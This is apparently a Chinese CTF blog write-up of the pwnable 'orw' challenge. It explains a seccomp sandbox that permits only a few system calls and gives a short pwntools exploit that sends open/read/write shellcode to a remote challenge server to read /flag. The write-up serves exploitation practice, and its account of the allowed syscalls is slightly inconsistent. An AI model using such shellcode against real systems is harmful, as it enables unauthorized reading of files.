pwnable_orw(shellcraft)

这题学到了 shellcaft 的新用法

check
file
32位,开了canary,没开pie,这次还有一个可读可写可执行段

猜测应该是利用shellcode

main:
file
直接调用shellcode,这不明摆着么

但是如果直接写入 shellcode 会发现是无法执行的

这里有一个 orw_seccomp 函数

unsigned int orw_seccomp()
{
  __int16 v1; // [esp+4h] [ebp-84h]
  char *v2; // [esp+8h] [ebp-80h]
  char v3; // [esp+Ch] [ebp-7Ch]
  unsigned int v4; // [esp+6Ch] [ebp-1Ch]

  v4 = __readgsdword(0x14u);
  qmemcpy(&v3, &unk_8048640, 0x60u);
  v1 = 12;
  v2 = &v3;
  prctl(38, 1, 0, 0, 0); #禁止提权
  prctl(22, 2, &v1); #限制能执行的系统调用只有open,write,exit
  return __readgsdword(0x14u) ^ v4;
}
  • seccomp 是 secure computing 的缩写,其是 Linux kernel 从2.6.23版本引入的一种简洁的 sandboxing 机制。在 Linux 系统里,大量的系统调用(system call)直接暴露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。seccomp安全机制能使一个进程进入到一种“安全”运行模式,该模式下的进程只能调用4种系统调用(system call),即 read(), write(), exit() 和 sigreturn(),否则进程便会被终止。

虽然不能拿到shell,但是可以用open、read、write三个系统调用去读flag。

exp:

from pwn import*

p=remote('node4.buuoj.cn',29619)
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('eax','esp',100)
shellcode += shellcraft.write(1,'esp',100)
shellcode = asm(shellcode)
p.sendline(shellcode)
p.interactive()

发表评论

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据